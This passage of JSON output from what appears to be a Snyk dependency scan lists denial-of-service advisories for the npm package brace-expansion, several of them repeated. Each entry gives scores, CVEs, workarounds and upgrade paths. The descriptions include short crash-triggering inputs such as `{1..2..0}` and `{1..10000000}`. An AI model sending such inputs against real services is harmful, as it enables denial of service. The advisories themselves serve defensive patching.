Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", 